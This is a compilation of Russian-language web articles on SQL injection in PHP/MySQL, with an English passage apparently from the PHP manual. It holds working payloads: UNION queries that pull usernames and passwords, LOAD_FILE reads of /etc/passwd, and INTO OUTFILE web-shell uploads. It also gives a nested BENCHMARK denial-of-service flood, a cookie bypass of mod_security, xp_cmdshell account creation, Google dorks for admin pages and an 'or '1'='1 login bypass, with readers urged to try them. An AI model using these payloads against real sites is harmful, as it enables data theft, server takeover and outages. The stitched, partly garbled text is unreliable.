Внедрение sql инъекции в строковые параметры. Что такое инъекция SQL? Как мне проверить что то, что я нашел, уязвимо

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.

Теги:

  • SQL injection
  • sql inj
Добавить метки

Many web developers are unaware of how SQL queries can be tampered with, and assume that an SQL query is a trusted command. It means that SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks, and sometimes SQL queries even may allow access to host operating system level commands.

Direct SQL Command Injection is a technique where an attacker creates or alters existing SQL commands to expose hidden data, or to override valuable ones, or even to execute dangerous system level commands on the database host. This is accomplished by the application taking user input and combining it with static parameters to build an SQL query. The following examples are based on true stories, unfortunately.

Owing to the lack of input validation and connecting to the database on behalf of a superuser or the one who can create users, the attacker may create a superuser in your database.

Example #1 Splitting the result set into pages ... and making superusers (PostgreSQL)

$offset = $argv [ 0 ]; // beware, no input validation!
$query = $offset ;" ;
$result = pg_query ($conn , $query );

?>

Normal users click on the "next", "prev" links where the $offset is encoded into the URL . The script expects that the incoming $offset is a decimal number. However, what if someone tries to break in by appending a urlencode() "d form of the following to the URL If it happened, then the script would present a superuser access to him. Note that 0; is to supply a valid offset to the original query and to terminate it.

It is common technique to force the SQL parser to ignore the rest of the query written by the developer with -- which is the comment sign in SQL.

A feasible way to gain passwords is to circumvent your search result pages. The only thing the attacker needs to do is to see if there are any submitted variables used in SQL statements which are not handled properly. These filters can be set commonly in a preceding form to customize WHERE, ORDER BY, LIMIT and OFFSET clauses in SELECT statements. If your database supports the UNION construct, the attacker may try to append an entire query to the original one to list passwords from an arbitrary table. Using encrypted password fields is strongly encouraged.

The static part of the query can be combined with another SELECT statement which reveals all passwords:

" union select "1", concat(uname||"-"||passwd) as name, "1971-01-01", "0" from usertable; --

If this query (playing with the " and -- ) were assigned to one of the variables used in $query , the query beast awakened.

SQL UPDATE"s are also susceptible to attack. These queries are also threatened by chopping and appending an entirely new query to it. But the attacker might fiddle with the SET clause. In this case some schema information must be possessed to manipulate the query successfully. This can be acquired by examining the form variable names, or just simply brute forcing. There are not so many naming conventions for fields storing passwords or usernames.

But if a malicious user submits the value " or uid like"%admin% to $uid to change the admin"s password, or simply sets $pwd to hehehe", trusted=100, admin="yes to gain more privileges, then, the query will be twisted:

// $uid: " or uid like "%admin%
$query = "UPDATE usertable SET pwd="..." WHERE uid="" or uid like "%admin%";" ;

// $pwd: hehehe", trusted=100, admin="yes
$query = "UPDATE usertable SET pwd="hehehe", trusted=100, admin="yes" WHERE
...;"
;

?>

A frightening example of how operating system level commands can be accessed on some database hosts.

If attacker submits the value a%" exec master..xp_cmdshell "net user test testpass /ADD" -- to $prod , then the $query will be: MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.

Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.

Example #5 A more secure way to compose a query for paging

settype ($offset , "integer" );
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset ;" ;

// please note %d in the format string, using %s would be meaningless
$query = sprintf ("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;" ,
$offset );

?>

  • If the database layer doesn"t support binding variables then quote each non numeric user supplied value that is passed to the database with the database-specific string escape function (e.g. mysql_real_escape_string() , sqlite_escape_string() , etc.). Generic functions like addslashes() are useful only in a very specific environment (e.g. MySQL in a single-byte character set with disabled NO_BACKSLASH_ESCAPES) so it is better to avoid them.
  • Do not print out any database specific information, especially about the schema, by fair means or foul. See also Error Reporting and Error Handling and Logging Functions .
  • You may use stored procedures and previously defined cursors to abstract data access so that users do not directly access tables or views, but this solution has another impacts.
  • Besides these, you benefit from logging queries either within your script or by the database itself, if it supports logging. Obviously, the logging is unable to prevent any harmful attempt, but it can be helpful to trace back which application has been circumvented. The log is not useful by itself, but through the information it contains. More detail is generally better than less.

    Допустим нам известно о недостаточной фильтрации параметра id в скрипте

    Http://site/test.php?id=18

    Для того, чтобы выявить эти второстепенные признаки, следует составить http запросы, про которые известно, который приведет к правильному (но возвращающему пустой вывод) SQL запросу, и который приведет к неверному SQL запросу. Например, при не фильтруемом параметре id Код: http://site/test.php?id=99999 , вероятно, будет возвращен пустой sql запрос, в то время, как Код: http://site/test.php?id=99999 " должен породить ошибку.

    Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и базе данных.

    Рассмотрим случай, когда иньекция происходит после where. Если мы рассматриваем MySQL базу данных, то получение информации из базы данных может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union

    1 количество полей между select и where

    Пробуем последовательно, пока не получим верный запрос: Код: http://site/test.php?id=99999+union+select+null/ *

    текст файлов через MySQL инъекцию.

    Если пользователь, под которым осуществляется доступ к бд, имеет права file_priv, то можно получить текст произвольного файла Код: http://site/test.php?id=9999+union+select+null,LOAD_FILE ("/etc/passwd"),null/* запись файлов в веб директорию (php shell).

    Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и тд.), а так же знаем имя хотя бы одной таблицы (mysql.user, например сойдет, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа. Код: http://site/test.php?id=9999+union+select+null ,"",null+from+table1+into+outfile+"/usr/local/site/www/banners/cmd.php"/* При этом конструкция from table1 обязательна.

    Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include(»/path/$file.php»)), то, в любом случае можно закачать php shell, например в директорию /tmp/, и затем подцепить этот файл оттуда при помощи уязвимости в include.

    инъекция после limit.

    Довольно части возможность SQL инъекции возникает внутри параметра, передающегося к limit. Это может быть номер страницы и тд и тп.

    Практика показывает, что все вышесказанное может быть применено и в этом случае.

    MySQL корректно реагирует на запросы типа:

    Select … limit 1,2 union select….

    Select … limit 1 union select….

    Если необходимо чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запросы:

    Select … limit 99999,1 union select…. Либо, Select … limit 1,0 union select….

    некоторые «подводные камни».

    Наиболее частым подводным камнем может оказаться включение магических кавычек в конфигурации php. В случае строковых параметров это вообще позволит избежать возможности SQL инъекции, а в случае целый (дробных) параметров, в подобных запросах невозможно будет использовать кавычки, а следовательно и строки.

    Частично, решить эту проблему поможет нам функция char, которая возвращает строке по кодам символов. Например Код: http://site/test.php?id=9999+union+select+char (116,101,115,116),null,null/* Код: http://site/test.php?id=9999+union+select+char (116,101,115,116),null,null+from_table1/* Код: http://site/test.php?id=9999+union+select+null,LOAD_FILE (char(47,101,116,99,47,112,97,115,115,119,100)),null/* Единственное ограничение. В случае, если хочется сделать into outfile, то а качестве имени файла, необходимо передать имя файла в кавычках. into outfile char(…) выдает ошибку.

    Казалось бы, этот модуль веб сервера apache, делает невозможным эксплуатацию уязвимости SQL инъекции. Однако, при некоторых конфигурациях PHP и этого модуля, атаку можно провести прозрачно для этого модуля.

    Конфигурация по умолчанию модуля mod_security не фильтрует значение, переданные как cookie. Одновременно, в некоторых случаях, а также в некоторых конфигурациях по умолчанию php, переменные cookie регистрируются автоматически.

    Таким образом, злонамеренные значения переменных, абсолютно прозрачно для mod_security можно передать как cookie значения.

    DOS в MySQL инъекции.

    Если не имеется возможности применения union в запросе, например, MySQL имеет версию 3.*, то, тем не менее, инъекцию можно эксплуатировать, например, для того, чтобы заставить сервер базы данных исчерпать все свои ресурсы.

    Для этого, будем использовать функцию BENCHMARK, которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. В качестве основного выражения возьмем функцию, которая сама по себе требует некоторого времени. Например, md5(). В качестве строки возьмем current_date, чтобы строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. И так, составляем запрос: Код: http://site/test.php?id=BENCHMARK (10000000,BENCHMARK(10000000,md5(current_date))) 1000000 запросов md5 выполняются (в зависимости от мощности сервера), примерно 5 секунд, 10000000 будут выполнятся около 50 секунд. Вложенный benchmark будет выполняться очень долго, на любом сервере. Теперь останется отправлять до нескольких десятков подобных http запросов в секунду, чтобы ввести сервер в беспробудный даун.

    другие типа MySQL инъекции.

    Фильтровать целые значения для целых параметров и кавычки для строковых параметров порой недостаточно. Иногда к незапланируемой функциональности может привести применение % и _ специальных символов внутри like запроса. Например: Код: mysql_query(«select id from users where password like "».addslashes($password).»" and user like "».addslashes($user).»"»); в этом случае к любому пользователю подойдет пароль %

    apache mod_rewrite

    В некоторых случаях, СКЛ инъекция возможна даже в параметре, который преобразуется методами mod_rewrite модуля apache, к GET параметру скрипта.

    Например, скрипты типа /news/127.html преобразуются к Код: /news/news.php?id=127 следующим правилом: Код: RewriteRule ^/news/(.*)\.html$ »/news/news.php?id=$1» Это позволит передать злонамеренные значения параметра скрипту. Так, например /news/128-1.html

    Если выводятся подробные сообщения об ошибках, то можно сразу узнать адрес скрипа, и далее, подобрав параметр работать уже с ним. Если же нет, то можно исследовать уязвимость, прямо редактируя имя файла.

    коротко о защите.

    Для защиты от всего вышесказанного достаточно придерживаться нескольких простых правил.

    1 для целых и дробных величин, перед их использованием в запросе достаточно привести величину к нужному типу. Код: $id=(int)$id; $total=(float)$total; Вместо этого можно вставить систему слежения за тестированием на SQL инъекцию. Код: if((string)$id<>(string)(int)$id) { пишем в лог о попытке Код: die("ops"); } 2 для строковых параметров, которые не используются в like, regexp и тд, экранируем кавычки. Код: $str=addslashes($str); или, лучше, Код: mysql_escape_string($str) 3 в строках, которые предполагается использовать внутри like, regexp и тд, необходимо так же заэкранировать специальные символы, применяющиеся в этих операторах, если это необходимо. В противном случае, можно задокументировать использование этих символов. __

    SQL-инъекции — встраивание вредоносного кода в запросы к базе данных — наиболее опасный вид атак. С использованием SQL-инъекций злоумышленник может не только получить закрытую информацию из базы данных, но и, при определенных условиях, внести туда изменения.

    Уязвимость по отношению к SQL-инъекциям возникает из-за того, что пользовательская информация попадает в запрос к базе данных без должной обработке: чтобы скрипт не был уязвим, требуется убедиться, что все пользовательские данные попадают во все запросы к базе данных в экранированном виде. Требование всеобщности и является краеугольным камнем: допущенное в одном скрипте нарушение делает уязвимой всю систему.

    Пример уязвимости

    Предположим, имеется скрипт, отображающий список пользователей из данного города, принимающий в качестве GET-параметра id города. Обращение к скрипту будет происходить с помощью HTTP по адресу /users.php?cityid=20

    В скрипте выше разработчик вставляет GET-параметр в SQL-запрос, подразумевая, что в GET-параметре всегда будет число. Злоумышленник может передать в качестве параметра строку и тем самым повредить запрос. Например, он обратится к скрипту как /users.php?cityid=20; DELETE * FROM users
    SQL-запрос получится таким:

    Запрос выполнится, и скрипт выдаст не только пользователей из заданного города, но и список всех пользователей, у которых вместо реального имени отобразится пароль.

    Как защититься?

    Давайте заключим пользователькую информацию в одинарные кавычки. Поможет ли это?

    Из примера выше видно, что заключить в одиночные кавычки недостаточно. Необходимо также экранировать все кавычки, содержащиеся в строке. Для этого в PHP предусмотрена функция mysql_real_escape_string(), которая добавляет обратный слеш перед каждой кавычкой, обратной кавычкой и некоторыми другим спецсимволами. Рассмотрим код:

    Итак, чтобы защититься от SQL-инъекций, все внешние параметры, которые могут содержать текст, должны быть перед включением в SQL-запрос обработаны с помощью mysql_real_escape_string() и заключены в одиночные кавычки.

    Если известно, что параметр должен принимать числовое значение числовым, его можно привести к числовому виду явно с помощью функции intval() или floatval() . В данном примере мы могли бы использовать:

    $sql = "SELECT username, realname
    FROM users
    WHERE cityid=""
    .intval ( $_GET [ "cityid" ]) .""" ;

    Отличия mysql_real_escape_string() и mysql_escape_string()

    mysql_real_escape_string() является усовершенствованной версией функции mysql_escape_string(), широко применяемой для формирования безопасных запросов к БД MySQL. Отличия этих двух функций в том, что mysql_real_escape_string() правильно работает с многобайтовыми кодировками.

    Предположим, в обрабатываемых данных есть символ (скажем, в UTF-8), код которого состоит из двух байт — шестнадцатеричных 27 и 2B (десятичные 39 и 43 соответственно). mysql_escape_string() воспринимает каждый байт передаваемых ей данных как отдельный символ (точнее, как код отдельного символа) и решит, что последовательность байт 27 и 2B — это два разных символа: одинарная кавычка (") и плюс (+). Поскольку функция воспринимает кавычку как специальный символ, перед байтом с кодом 27, который на самом деле является частью какого-то безобидного символа, будет добавлен слэш (\). В результате данные отправятся в базу в искаженном виде.

    Стоит отметить, что mysql_real_escape_string() работает правильно во всех случаях и может полностью заменить mysql_escape_string().

    mysql_real_escape_string() доступна в PHP с версии 4.3.0.

    Дополнительные примеры

    Мы рассмотрели наиболее простой пример, но на практике уязвимый запрос может быть более сложным и не отображать свои результаты пользователю. Далее рассмотрим примеры SQL-инъекций в некоторых более сложных случаях, не претендуя на полноту.

    Инъекция в сложных запросах

    В простейшем примере была возможность встроить код в конец SQL-запроса. На практике в конце SQL-запроса могут быть дополнительные условия, операторы сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае, злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос в целом остался синтаксически корректным, но выполнял другую функцию. Здесь мы рассмотрим простейший пример уязвимого запроса с дополнительным условием.

    В результате условие age<35 не будет влиять на выборку, т.к. оператор OR имеет более низкий приоритет, чем AND, и WHERE из приведённого выше запроса по-другому можно записать в виде WHERE (cityid="20" AND 1 ) OR ("1" AND age<"35" ) (напомним, что выражение WHERE 1 истинно всегда). В результате под условие подойдут и те строки, у которых cityid="20", и те, у которых age<35, причем наличие последних не обязательно.

    В случае сложных запросов успешные SQL-иъекции требуют некоторой изобретательности, но можно ожидать, что у злоумышленников она имеется.

    Результаты запроса не отображаются пользователю

    Может оказаться, что уязвимым является запрос, результаты которого не отображаются пользователю. Это может быть, например, вспомогательный запрос:

    $sql = "SELECT count(*)
    FROM users
    WHERE userid=""
    .$_GET [ "userid" ] .""" ;

    Запрос выше всего лишь проверяет наличие пользователя с данным userid: если он возвращает любую отличную от нуля величину — показывается профиль пользователя с соответствующим userid, если же возвращён 0 (то есть, нет пользователей, удовлетворяющих критерию запроса) — сообщение "пользователь не найден".

    В этом случае определение пароля (или другой информации) производится перебором. Взломщик передает в качестве параметра userid строку 2" AND password LIKE "a% . Итоговый запрос:

    SELECT count (*) FROM users WHERE userid= "2" AND password LIKE "a% "

    Взломщик получит "пользователь не найден", если пароль не начинается на букву "a", или стандартную страницу с профилем пользователя, в противном случае. Перебором определяется первая буква пароля, затем вторая и.т.д.

    Выводы

    • Все запросы, использующие внешние данные, требуется защитить от SQL-инъекций. Внешние данные могут быть переданы не только в качестве GET-параметров, но и методом POST, взяты из COOKIE, со сторонних сайтов или из базы данных, в которую пользователь имел возможность занести информацию.
    • Все числовые параметры следует явно преобразовывать в числовой вид с помощью функций intval() и floatval()
    • Все строковые параметры следует экранировать с помощью mysql_real_escape_string() и заключать в кавычки.
    • Если построить SQL-инъекцию сложно, не следует ожидать, что злоумышленник не догадается как это сделать. Особенно это относится к движкам, исходный код которых является публичным.

    Удачи в построении безопасных приложений!

    SQL инъекция. Введение.

    Огромное количество веб-ресурсов подвержено атакам с помощью SQL инъекции. И администратору сайта в этом случае приходится пенять лишь на себя. Я знаю немало пользователей сети, которые, не считая себя гуру хакинга, ради забавы сканируют сайты на подобные уязвимости и играют на ошибках интернет-ресурсов.

    В этой статье мы и рассмотрим вопрос о том, что такое SQL инъекция и как происходит заражение. Думаю, экскурс о том, что такое SQL инъекция не помешает и начинающим веб мастерам, которые и не подозревает, чем может закончится пренебрежение средствами защиты родного детища.

    Немного справки

    • SQL инъекция – это некая техника внедрения кода, если хотите, способ исполнения кода небольших (ну… как получится) размеров, который использует обычно какие-то определённые уязвимости в программном коде (базе данных) какого-то, то есть любого сайта. Это язык, который позволяет приложению общаться с базой данных. Базы данных, конечно, могут отличаться специфичным синтаксисом. Так, MySQL и SQL Server – базы данных, но различия в синтаксисе написания порой ощутимы.

    Сразу нужно отметить один важный пункт – обе указанные базы данных не имеют SQL основы: база данных хранит информацию, а SQL есть форма языка, который запрашивает эти данные из хранилища.

    • База данных хранит в себе всю информацию для конкретного проекта. Таблица – нижеследующая структура – хранит данные для конкретной цели. Ещё ниже в этой маленькой иерархии стоят столбцы (колонки, если желаете): они уже специализируют типы данных и требования к специальным строкам.
    • Строки – это просто отдельные секции данных, вкраплённые в базу данных.
    • Уязвимостью, таким образом,можно считать возможность внедрения дополнительного кода, «дырку» в коде программы, которые могут изменить поведение этой программы не в пользу владельца.

    ПРИМЕР

    Представьте себе сайт с форумом. База данных должна и содержит все необходимые для этого проекта строки, столбцы и таблицы. Значит, там обязательно есть таблица под названием user, которая хранит в себе все данные зарегистрированных пользователей. А пара столбцов точно имеют шапкой username (имя пользователя) , password (пароль) и email . Характеристики столбцов это типы данных, длина, значения по умолчанию и много чего ещё. Нас пока интересует столбец с именами. Путь там будет какой-нибудь пользователь с именем Ivan .

    Представьте, что этот пользователь собирается прочесть некую статью, переходя по ссылке. Нажав на неё, его взору откроется нужная статья, но что происходит перед этим? Приложению на стороне сервера нужно обратиться к базе данных, чтобы та передала данные этой новенькой статейки. Вот как будет выглядеть PHP код в файле viewnews.php:

    Это самый простой и работающий из примеров, как приложение использует SQL для получения данных из MySQL базы данных. Здесь

    • SELECT – команда MySQL выбрать данные из базы. Есть ещё UPDATE (обновить данные) и DELETE (удалить из базы)
    • title и article – столбцы таблицы, которые и которую мы сейчас выберем. Эти два атрибута говорят базе, что нас интересуют только эта информация
    • FROM – откуда – указывает базе данных на конкретную таблицу
    • news – название таблицы, из которой мы сейчас будем вынимать данные
    • WHERE – обусловленный контроль. То есть следующая информация после этой команды задаёт определённые критерии тех данных, которые мы запрашиваем
    • newsid=’$newsid’ – детализация этого контроля. newsid – название столбца, а =’$newsid’ означает, что мы хотим, чтобы текущий ряд столбца совпадал с переменной $newsid.

    Зачем нужна SQL инъекция?

    Решаются в основном три задачи в следующей последовательности:

    • Нащупать доступ к запрещённым владельцем сайта зонам, каталогам и папкам сайта. Это жизненно важные конкретные файлы, где хранятся настройки; страницы аутентификации и т.п.
    • Посылается запрос на получение прав к этим страницам
    • Если всё удачно прошло, данные стираются или уничтожаются.

    Как выглядит SQL инъекция?

    Для этого нужно знать, что представляет из себя код конкретной БД. Но для общего представления могу сказать, что это набор некоторых символов, добавляемых хакером в строки кода базы данных. Вот пример внедрения (или расширения, продолжения кода БД):

    спасибо slideshare.net за слайд

    Для того, кому совсем трудно понять, вспомните сказки про Али-Бабу или про Летучий корабль. Главные герои знали заветные слова-пароли, которые заставляли недвижимое двигаться. Сами устройства понимали произнесённый код, о котором другие участники сказок и не догадывались. Также и здесь, готовый код базы данных работает прекрасно, однако вы уверены, что этот код и как он работает, кто-то ещё не знает лучше и больше?

    Как SQL инъекция исполняется?

    Поисковик Google нам здесь поможет лучше всех. Они, поисковые системы, по умолчанию готовы проиндексировать все закоулки сайта. Задача администратора – скрыть секреты от чужих глаз. Получается не всегда. Только Google на это наплевать. Так и появляются : определённый набор операндов, с помощью которых, прямо из строки поиска можно найти ту уязвимость, в которой вы поднаторели. В их числе “вражеского” сайта может не оказаться, но в списке видимых есть чем хакеру позабавиться. – и есть потенциальные жертвы SQL – инъекций.

    Вот как такие команды выглядят:

    inurl:admin.asp
    inurl:login/admin.asp
    inurl:admin/login.asp

    При вводе таких команд Google укажет на страницы аунтентификации сайтов. Такие странички я бы посоветовал закрыть от глаз простых и случайных посетителей, однако, если попробуете, увидите как ресурсов много.

    А теперь пошла и сама SQL инъекция:

    ‘ or ‘1’=’1
    ‘ or ‘x’=’x

    То есть на странице сайта предпримите попытку ввода пароля:

    Username: Admin
    Password: ‘or’1’=’1

    Вы уже попробовали? Не получится, конечно. Сайты уже к такому давно не уязвимы. Не буду же я прямым текстом со своих страниц учить вас нехорошим делам. Однако в Google этой информации полно, дерзайте. Прочтите ещё раз про дорки и желаю успехов.

    Прочитано: 39

    Похожие статьи